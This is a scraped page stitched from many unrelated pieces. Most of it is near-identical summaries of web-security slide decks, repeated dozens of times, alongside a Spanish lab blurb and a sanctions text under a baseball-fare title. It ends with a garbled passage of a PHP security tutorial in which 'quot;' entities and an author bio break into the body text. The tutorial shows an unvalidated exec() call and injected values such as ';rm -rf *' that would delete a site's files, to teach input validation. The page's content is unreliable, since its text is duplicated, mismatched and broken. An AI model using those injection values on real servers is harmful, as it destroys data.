This article summarizes 7 common PHP security blunders:
1) Unvalidated input errors, where user input is not checked and can enable exploits. Proper validation of expected data types is needed.
2) Access control flaws, where restricted pages can be accessed without authentication. Credentials should be checked on every page.
3) Session ID protection issues, where IDs can be hijacked. IDs should be regenerated on login and sensitive data not stored in sessions.
4) Cross-site scripting flaws, where malicious code can be inserted and run as other users. User input must be escaped before displaying.
5) SQL injection vulnerabilities, where user input is inserted unsafely into SQL queries allowing unauthorized data
The document summarizes test results for the password management features of several major web browsers. It finds that Google Chrome received the lowest overall score due to critical vulnerabilities in how it handles passwords. In particular, Chrome fails to properly check the destination, location, and invisible form elements when saving and retrieving passwords, allowing passwords to be stolen without user knowledge. Opera scored the highest, while Safari and Chrome tied for worst due to similar flaws in how they implement password management.
The document provides an overview of web application security. It discusses what web application security entails, which is achieving an acceptable level of security for a web application solution. It explains why web application security is important given increased reliance on web apps and their global accessibility. It outlines some common security risks like browser hijacking, cookie theft, and denial of service attacks. It also discusses how security problems should be addressed earlier in the development lifecycle to reduce costs. The document then delves into specific vulnerabilities like hidden field manipulation, cookie poisoning, buffer overflows, and cross-site scripting attacks. Examples are provided to illustrate how attackers can exploit these vulnerabilities.
The document provides an overview of common PHP security issues across three main categories: PHP language issues, framework issues, and third-party code issues. It then discusses the OWASP Top 10 security risks and how they apply to PHP. The rest of the document offers tips to improve PHP security including input validation, file uploads, database queries, and preventing injections. It cautions against trusting user input and provides examples of insecure code.
Mobile Threats and Trends Changing Mobile App SecurityDevOps.com
Deploying your high-value mobile app to untrusted environments such as consumer mobile devices can be a risky proposition. Are some of your customers’ devices compromised? Do your users also download apps from untrusted sources? Is there malware residing on their devices that target apps such as yours?
Despite your best efforts to code secure apps, assess their security posture, and remediate any identified vulnerabilities – it’s not quite enough in today’s mobile threat landscape. Safeguarding mobile apps during runtime and empowering them to protect themselves in hostile environments is becoming a necessity in the face of ever-evolving mobile attack tactics and techniques.
During this webinar, we will:
Discuss today’s mobile app threat landscape
Explain how changing distribution models (e.g., Fortnite for Android) affect your app’s security
Illustrate the potential financial impact of mobile threats on a business’s bottom line
Demonstrate mobile overlay and other attacks
Reveal how mobile apps can protect themselves against these attacks with app shielding and runtime protection
Widespread security flaws in web application development 2015mahchiev
Widespread security flaws in web application development
*SQL Injection - Hands-On Example
*Cross - Site Scripting (XSS)
*Cross Site Request Forgery
*HTTP Strict Transport Security
Web Application Penetration Testing Introductiongbud7
This document provides an overview of web application penetration testing. It discusses the goals of testing to evaluate security by simulating attacks. The testing process involves gathering information, understanding normal application behavior, and then applying targeted techniques to find weaknesses. The document outlines the reconnaissance, mapping, and active testing phases. It also demonstrates various tools like Burp Suite, W3AF, and SQL injection and cross-site scripting attacks.
Trabajo de laboratorio sobre Actividad Catalasa - Laboratory work on catalas...pschwarzbaum
Actividad diseñada a introducir a los alumnos en actividades de laboratorio.
Los alumnos deben hacer un homogenato de higado y luego utilizarlo para verificar la reaccion mediada por la enzima catalasa. Deben realizar controles adecuados y trabajar en un ambiente seguro.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as cross-site scripting, SQL injection, and session hijacking. It recommends a three-tiered approach to security monitoring that involves logging all activity, detailed logs of attacks, and alerts of possible intrusions.
The document summarizes test results for the password management features of several major web browsers. It finds that Google Chrome received the lowest overall score due to critical vulnerabilities in how it handles passwords. In particular, Chrome fails to properly check the destination, location, and invisible form elements when saving and retrieving passwords, allowing passwords to be stolen without user knowledge. Opera scored the highest, while Safari and Chrome tied for worst due to similar flaws in how they implement password management.
The document provides an overview of web application security. It discusses what web application security entails, which is achieving an acceptable level of security for a web application solution. It explains why web application security is important given increased reliance on web apps and their global accessibility. It outlines some common security risks like browser hijacking, cookie theft, and denial of service attacks. It also discusses how security problems should be addressed earlier in the development lifecycle to reduce costs. The document then delves into specific vulnerabilities like hidden field manipulation, cookie poisoning, buffer overflows, and cross-site scripting attacks. Examples are provided to illustrate how attackers can exploit these vulnerabilities.
The document provides an overview of common PHP security issues across three main categories: PHP language issues, framework issues, and third-party code issues. It then discusses the OWASP Top 10 security risks and how they apply to PHP. The rest of the document offers tips to improve PHP security including input validation, file uploads, database queries, and preventing injections. It cautions against trusting user input and provides examples of insecure code.
Mobile Threats and Trends Changing Mobile App SecurityDevOps.com
Deploying your high-value mobile app to untrusted environments such as consumer mobile devices can be a risky proposition. Are some of your customers’ devices compromised? Do your users also download apps from untrusted sources? Is there malware residing on their devices that target apps such as yours?
Despite your best efforts to code secure apps, assess their security posture, and remediate any identified vulnerabilities – it’s not quite enough in today’s mobile threat landscape. Safeguarding mobile apps during runtime and empowering them to protect themselves in hostile environments is becoming a necessity in the face of ever-evolving mobile attack tactics and techniques.
During this webinar, we will:
Discuss today’s mobile app threat landscape
Explain how changing distribution models (e.g., Fortnite for Android) affect your app’s security
Illustrate the potential financial impact of mobile threats on a business’s bottom line
Demonstrate mobile overlay and other attacks
Reveal how mobile apps can protect themselves against these attacks with app shielding and runtime protection
Widespread security flaws in web application development 2015mahchiev
Widespread security flaws in web application development
*SQL Injection - Hands-On Example
*Cross - Site Scripting (XSS)
*Cross Site Request Forgery
*HTTP Strict Transport Security
Web Application Penetration Testing Introductiongbud7
This document provides an overview of web application penetration testing. It discusses the goals of testing to evaluate security by simulating attacks. The testing process involves gathering information, understanding normal application behavior, and then applying targeted techniques to find weaknesses. The document outlines the reconnaissance, mapping, and active testing phases. It also demonstrates various tools like Burp Suite, W3AF, and SQL injection and cross-site scripting attacks.
Trabajo de laboratorio sobre Actividad Catalasa - Laboratory work on catalas...pschwarzbaum
Actividad diseñada a introducir a los alumnos en actividades de laboratorio.
Los alumnos deben hacer un homogenato de higado y luego utilizarlo para verificar la reaccion mediada por la enzima catalasa. Deben realizar controles adecuados y trabajar en un ambiente seguro.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as cross-site scripting, SQL injection, and session hijacking. It recommends a three-tiered approach to security monitoring that involves logging all activity, detailed logs of attacks, and alerts of possible intrusions.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how common vulnerabilities like SQL injection, XSS, and session hijacking could be detected. It recommends a tiered approach to IDS with different levels of logging and alerting to balance security and manageability.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as XSS, SQL injection, and session hijacking. It advocates a three-tiered approach to security monitoring with different levels of logging and alerting.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as cross-site scripting, SQL injection, and session hijacking. It recommends a three-tiered approach to security monitoring that involves logging all activity, detailed logs of attacks, and alerts of potential intrusions.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
Tarifa Leones del Escogido Temporada 2016-2017Odalis Santiago
La Unión Europea ha acordado un paquete de sanciones contra Rusia por su invasión de Ucrania. Las sanciones incluyen restricciones a las transacciones con bancos rusos clave y la prohibición de la venta de aviones y equipos a Rusia. Los líderes de la UE también acordaron excluir a varios bancos rusos del sistema SWIFT de mensajería financiera.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how common vulnerabilities like SQL injection, XSS, and session hijacking could be detected. It recommends a tiered approach to IDS with different levels of logging, alerting, and blocking of suspicious traffic.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic, but this has limitations for complex data types. A negative security model uses blacklists of known attack patterns, but cannot detect all unknown attacks. The document advocates a tiered approach to security logging and monitoring with increasing levels of detail and prioritization of alerts.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
Top 10 techniques to minimize security vulnerabilities in php application dev...Andolasoft Inc
This document discusses techniques for minimizing security vulnerabilities in PHP application development. It begins by listing some of PHP's advantages and popularity. It then discusses major security weaknesses like input validation, SQL injection, and file inclusion. It provides 10 techniques for improving security, including validating input data, protecting against XSS and CSRF attacks, proper error handling, using prepared statements to prevent SQL injection, and unit testing code. The conclusion emphasizes the importance of secure PHP application development and testing code throughout the process.
Majority of websites are getting target by hackers to use them for their own foolish purposes. Here top tips to keep your website secure from being targeted.
Data Security in Fintech App Development: How PHP Can HelpNarola Infotech
Narola Infotech is a PHP development company with more than 17 years of experience. Our 350+ IT experts have worked with over 1500 clients around the world in every major industry. In fact, our clients have appreciated our efforts and results over the years.
Do you want to build a secure and functional fintech platform? Feel free to contact us at any time, and our experts will get back to you to discuss your dream project.
The document discusses strategies for cybersecurity defenses against attacks. It notes that while attackers may seem powerful, they are actually constrained by resources and need vulnerabilities to exploit. It recommends techniques like hardening systems, applying patches, minimizing exposed software, using endpoint detection systems, and pretending to be in a malware analysis environment to discourage attacks. The overall message is that simple changes can make a system much harder to attack than the typical unmodified configuration that attackers rely on.
Security must be balanced with expense and usability. It should be considered from the initial design phase and involve filtering all external data, validating expected data fields, and carefully handling variables to avoid vulnerabilities like register_globals. Key aspects of security include identifying illegitimate uses, educating yourself, filtering data at multiple points, and logging errors for detection while hiding them from users.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how common vulnerabilities like SQL injection, XSS, and session hijacking could be detected. It recommends a tiered approach to IDS with different levels of logging and alerting to balance security and manageability.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as XSS, SQL injection, and session hijacking. It advocates a three-tiered approach to security monitoring with different levels of logging and alerting.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as cross-site scripting, SQL injection, and session hijacking. It recommends a three-tiered approach to security monitoring that involves logging all activity, detailed logs of attacks, and alerts of potential intrusions.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
Tarifa Leones del Escogido Temporada 2016-2017Odalis Santiago
La Unión Europea ha acordado un paquete de sanciones contra Rusia por su invasión de Ucrania. Las sanciones incluyen restricciones a las transacciones con bancos rusos clave y la prohibición de la venta de aviones y equipos a Rusia. Los líderes de la UE también acordaron excluir a varios bancos rusos del sistema SWIFT de mensajería financiera.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how common vulnerabilities like SQL injection, XSS, and session hijacking could be detected. It recommends a tiered approach to IDS with different levels of logging, alerting, and blocking of suspicious traffic.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic, but this has limitations for complex data types. A negative security model uses blacklists of known attack patterns, but cannot detect all unknown attacks. The document advocates a tiered approach to security logging and monitoring with increasing levels of detail and prioritization of alerts.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
Top 10 techniques to minimize security vulnerabilities in php application dev...Andolasoft Inc
This document discusses techniques for minimizing security vulnerabilities in PHP application development. It begins by listing some of PHP's advantages and popularity. It then discusses major security weaknesses like input validation, SQL injection, and file inclusion. It provides 10 techniques for improving security, including validating input data, protecting against XSS and CSRF attacks, proper error handling, using prepared statements to prevent SQL injection, and unit testing code. The conclusion emphasizes the importance of secure PHP application development and testing code throughout the process.
Majority of websites are getting target by hackers to use them for their own foolish purposes. Here top tips to keep your website secure from being targeted.
Data Security in Fintech App Development: How PHP Can HelpNarola Infotech
Narola Infotech is a PHP development company with more than 17 years of experience. Our 350+ IT experts have worked with over 1500 clients around the world in every major industry. In fact, our clients have appreciated our efforts and results over the years.
Do you want to build a secure and functional fintech platform? Feel free to contact us at any time, and our experts will get back to you to discuss your dream project.
The document discusses strategies for cybersecurity defenses against attacks. It notes that while attackers may seem powerful, they are actually constrained by resources and need vulnerabilities to exploit. It recommends techniques like hardening systems, applying patches, minimizing exposed software, using endpoint detection systems, and pretending to be in a malware analysis environment to discourage attacks. The overall message is that simple changes can make a system much harder to attack than the typical unmodified configuration that attackers rely on.
Security must be balanced with expense and usability. It should be considered from the initial design phase and involve filtering all external data, validating expected data fields, and carefully handling variables to avoid vulnerabilities like register_globals. Key aspects of security include identifying illegitimate uses, educating yourself, filtering data at multiple points, and logging errors for detection while hiding them from users.
Cyber security webinar 6 - How to build systems that resist attacks?F-Secure Corporation
This document summarizes strategies for building secure systems. It discusses making security a core requirement from the beginning, employing secure software architecture and development practices, isolating processes using sandboxes, avoiding cleartext data, using libraries carefully and keeping them updated, auditing code, and continuously improving security. The overall message is that security must be prioritized throughout the entire system development lifecycle in order to successfully build resilient systems.
- WordPress is used on 26.6% of all websites worldwide as of 2016, showing steady growth each year.
- A security audit of popular WordPress plugins found 118 instances of vulnerabilities across 58 plugins, demonstrating the ongoing need to improve WordPress security.
- There are several steps site owners can take to harden WordPress security, such as limiting login attempts, enforcing SSL, moving files like wp-config.php, and using server-level protections including fail2ban, Nginx configurations, and a web application firewall. External services like Cloudflare and Sucuri can also help monitor and protect sites.
The document discusses several key issues that can lead to software vulnerabilities:
1) Improper validation of untrusted input is a major cause of vulnerabilities. All input must be validated for size, type, and syntax.
2) Insecure interaction between program components, such as the inclusion of untrusted code or data, enables attacks like XSS and code injection.
3) Issues around memory management, such as buffer overflows from improper input handling and memory leaks, are also common sources of vulnerabilities.
This document provides guidelines for secure coding practices to avoid vulnerabilities. It discusses common vulnerabilities like buffer overflows, integer overflows, format string attacks, command injections, and cross-site scripting that result from insecure coding practices in languages like C, C++, Java, and those used for web applications. The document emphasizes that secure coding alone is not enough and security needs to be incorporated throughout the entire software development lifecycle. It also provides examples of insecure code that could enable each type of vulnerability discussed.
Web Development SEO Expate BD LTD 1 01.02.2023 .pdfSeo Expate BD LTD
Welcome to
Getting Started with Website Development
Even though the term "web development" typically refers to web markup and coding, website development encompasses all related development tasks, such as client-side scripting, server-side scripting, server and network security configuration, ecommerce development, and content management system (CMS) development.
In this video, we'll go over the principles of web programming, how to create a website and further resources for people who want to learn more or pursue a career in development.
Continue reading or use the chapter links to traverse the manual to learn more about constructing websites.
What makes web development crucial?
The Internet will always be around. In reality, it has developed into a global portal and the primary tool for obtaining information, communicating, learning, and having fun. As of 2021, 4.66 billion individuals on the planet were online, or more than half.
The industry of web development is growing quickly, which is not surprising considering the explosive growth of Internet users. Compared to most other technology professions, web development jobs are expected to grow by 13% between now and 2030.
Learn about the advantages of utilizing CMS Hub to build an optimized website that connects to the whole marketing suite and Hub Spot CRM data.
In the part that follows, we'll go over the principles of web development and provide solutions.
Web Application Testing for Today’s Biggest and Emerging ThreatsAlan Kan
The document discusses emerging threats to web applications and strategies for testing applications to identify vulnerabilities. It finds that nearly half of all vulnerabilities are in web applications, with cross-site scripting and SQL injection being most common. Many vulnerabilities have no patches available yet. New attack types like client-side vulnerabilities are also emerging. The document advocates integrating security testing into the development process to help developers write more secure code and find issues early.
Table Of Content
The OWASP Top Ten
Invalidated Redirect and Forwards
Security Misconfiguration
Application Fingerprint
Error handling And Logging
Noise
PHP Guidelines
The document provides information about securing web applications with OpenAM. It discusses authentication and authorization as two major security considerations. It notes that while authentication verifies a user's identity, authorization determines what resources a user can access. The document then discusses challenges around scaling authentication solutions and how stateful servers may not scale well. It introduces OpenAM as an open source access management solution that can handle authentication, authorization, and identity management. OpenAM allows applications to focus on functionality while it focuses on security. It can integrate with identity stores and uses policy agents to enforce access policies across distributed systems.
Web development involves building and maintaining websites and applications. It has two main parts - front end development and back end development. Front end development involves the visible and user-interactive parts of a website, while back end development involves the behind-the-scenes programming that connects the front end to databases and servers. Key skills for front end developers include HTML/CSS, JavaScript, frameworks, responsive design, version control systems, and testing/debugging tools. Back end skills include programming languages like Java, Python and PHP, knowledge of front end technologies, frameworks, databases, APIs, server handling, data structures and algorithms, problem solving, and communication skills. Both roles are in high demand with average salaries of over $50,000 for
Web development involves building and maintaining websites and applications. It has two main parts - front end development and back end development. Front end development involves the visible and user-interactive parts of a website, while back end development involves the behind-the-scenes programming that connects the front end to databases and servers. Key skills for front end developers include HTML/CSS, JavaScript, frameworks, responsive design, and testing/debugging. Back end skills include languages like Java, Python and PHP, frameworks, databases, APIs, servers, and data structures. Both roles are in high demand with average salaries of ₹4,94,103 for front end and ₹6,50,000 for back end developers in India.
The document discusses cyber security topics like web security, Zed Attack Proxy (ZAP), SQL injection, Damn Vulnerable Web Application (DVWA), and WebGoat. It provides an overview of these topics, including what ZAP is used for, how to configure it, and how to use its features like intercepting traffic, scanning, and reporting. It also discusses the Open Web Application Security Project (OWASP) and some of the top 10 vulnerabilities like SQL injection.
Back-end development forms the core of websites and software applications. Be it finance, healthcare, retail, or any other industry, back-end software engineers are required everywhere! Besides, with the rise in e-commerce retail platforms and constant innovations in technologies, these experts are required more than ever.If you want to venture into the field of back-end development, you must get a good grasp of the related technologies and adopt the right way to make a career in the IT sector. So, what does a backend developer do? And how can you start preparing for a successful back-end career?
For more info visit -> https://asb.guru/how-to-become-a-back-end-engineer-the-complete-roadmap-for-2024/
Web application vulnerabilities involve a system flaw or weakness in a web-based application. They have been around for years, largely due to not validating or sanitizing form inputs, misconfigured web servers, and application design flaws, and they can be exploited to compromise the application's security.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how common vulnerabilities like SQL injection, XSS, and session hijacking could be detected. It recommends a tiered approach to IDS with different levels of logging, alerting, and blocking of suspicious traffic.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic, but this has limitations for complex data types. A negative security model uses blacklists of known attack patterns, but cannot detect all unknown attacks. The document advocates a tiered approach to IDS that involves logging all activity, providing detailed logs of detected attacks, and generating high-priority alerts for possible intrusions.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as XSS, SQL injection, and session hijacking. It advocates a three-tiered approach to security monitoring with different levels of logging and alerting.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how common vulnerabilities like SQL injection, XSS, and session hijacking could be detected. It recommends a tiered approach to IDS with different levels of logging, alerting, and blocking of suspicious traffic.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how common vulnerabilities like SQL injection, XSS, and session hijacking could be detected. It recommends a tiered approach to IDS with different levels of logging, alerting, and blocking of suspicious traffic.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as XSS, SQL injection, and session hijacking. It advocates a three-tiered approach to security monitoring with different levels of logging and alerting.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks by logging all activity and applying both whitelist and blacklist rules. The document also provides examples of how different types of attacks could be detected, such as SQL injection, cross-site scripting, and session hijacking. It recommends a three-tiered approach to IDS that involves logging all activity, detailed logging of detected attacks, and flagging possible intrusions for manual review.
This document discusses using intrusion detection systems (IDS) to monitor web applications for security threats. It explains that IDS can be used to detect both known and unknown attacks. A positive security model uses whitelists to allow only known good traffic while a negative model uses blacklists to detect malicious patterns. The document then examines how different types of attacks from the OWASP Top 10 could be detected, such as cross-site scripting, SQL injection, and session hijacking. It recommends a three-tiered approach to security monitoring that involves logging all activity, detailed logs of attacks, and alerts of possible intrusions.
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Top 7 PHP Security Blunders
By Pax Dickinson About the Author
Pax Dickinson
December 21st 2005
Pax has over
ten years of
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experience in
systems
PHP [1] is a terrific language for the rapid development of dynamic administration
and software development on a
Websites. It also has many features that are friendly to beginning
wide variety of hardware and
programmers, such as the fact that it doesn't require variable software platforms. He's
declarations. However, many of these features can lead a currently employed by
Guardian Digital as a systems
programmer inadvertently to allow security holes to creep into a
programmer, where he
Web application. The popular security mailing lists teem with notes develops and implements open
of flaws identified in PHP applications, but PHP can be as secure as source security solutions using
any other language once you understand the basic types of flaws EnGarde Secure Linux, and he
is a regular security columnist
PHP applications tend to exhibit.
at LinuxSecurity.com. His
experience includes UNIX and
In this article, I'll detail many of the common PHP programming mistakes Windows systems engineering
and support at several Fortune
that can result in security holes. By showing you what not to do, and how each
500 companies, as well as
particular flaw can be exploited, I hope that you'll understand not just how to consulting roles with many
avoid these particular mistakes, but also why they result in security smaller businesses.
vulnerabilities. Understanding each possible flaw will help you avoid making
the same mistakes in your PHP applications. Illustration by: Alex Walker
Security is a process, not a product, and adopting a sound approach to security during the process of application
development will allow you to produce tighter, more robust code.
Unvalidated Input Errors
One of -- if not the -- most common PHP security flaws is the unvalidated input error. User-provided data simply
cannot be trusted. You should assume every one of your Web application users is malicious, since it's certain that
some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we'll
discuss later in this article.
As an example, you might write the following code to allow a user to view a calendar that displays a specified
month by calling the UNIX [2] cal command.
$month = $_GET['month'];
$year = $_GET['year'];
exec(quot;cal $month $yearquot;, $result);
print quot;<PRE>quot;;
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foreach ($result as $r) { print quot;$r<BR>quot;; }
print quot;</PRE>quot;;
This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not
validated in any way. The application works perfectly, as long as the specified month is a number between 1 and
12, and the year is provided as a proper four-digit year. However, a malicious user might append quot;;ls -laquot;
to the year value and thereby see a listing of your Website's html [3] directory. An extremely malicious user could
append quot;;rm -rf *quot; to the year value and delete your entire Website!
The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do
not use JavaScript [4] validation for this; such validation methods are easily worked around by an exploiter who
creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs
are digits and only digits, as shown below.
$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match(quot;/^[0-9]{1,2}$/quot;, $month)) die(quot;Bad month, please
re-enter.quot;);
if (!preg_match(quot;/^[0-9]{4}$/quot;, $year)) die(quot;Bad year, please
re-enter.quot;);
exec(quot;cal $month $yearquot;, $result);
print quot;<PRE>quot;;
foreach ($result as $r) { print quot;$r<BR>quot;; }
print quot;</PRE>quot;;
This code can safely be used without concern that a user could provide input that would compromise your
application, or the server running it. Regular expressions are a great tool for input validation. They can be
difficult to grasp, but are extremely useful in this type of situation.
You should always validate your user-provided data by rejecting anything other than the expected data. Never
use the approach that you'll accept anything except data you know to be harmful -- this is a common source of
security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input
but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.
You should be as restrictive as possible when you validate any input. If some characters don't need to be included,
you should probably either strip them out, or reject the input completely.
Access Control Flaws
Another type of flaw that's not necessarily restricted to PHP applications, but is important nonetheless, is the
access control type of vulnerability. This flaw rears its head when you have certain sections of your application that
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must be restricted to certain users, such as an administration page that allows configuration settings to be
changed, or displays sensitive information.
You should check the user's access privileges upon every load of a restricted page of your PHP application. If you
check the user's credentials on the index page only, a malicious user could directly enter a URL to a quot;deeperquot;
page, which would bypass this credential checking process.
It's also advisable to layer your security, for example, by restricting user access on the basis of the user's IP address
as well as their user name, if you have the luxury of writing an application for users that will have predictable or
fixed IPs. Placing your restricted pages in a separate directory that's protected by an apache [5] .htaccess file is
also good practice.
Place configuration files outside your Web- accessible [6] directory. A configuration file can contain database
passwords and other information that could be used by malicious users to penetrate or deface your site; never
allow these files to be accessed by remote users. Use the PHP include function to include these files from a
directory that's not Web-accessible, possibly including an .htaccess file containing quot;deny from allquot; just in case the
directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a
positive thing.
For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes
and configuration files are stored in the includes directory. Always name these include files with a .php
extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not
display it to the user. The www and admin directories are the only directories whose files can be accessed directly
by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user
name and password that's stored in the .htpasswd file in the root directory of the site.
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php
You should set your Apache directory indexes to 'index.php', and keep an index.php file in every directory. Set it
to redirect to your main page if the directory should not be browsable, such as an images directory or similar.
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Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to
the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the
PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles
upon a URL to the backup file. If that file contained passwords or other sensitive information, that information
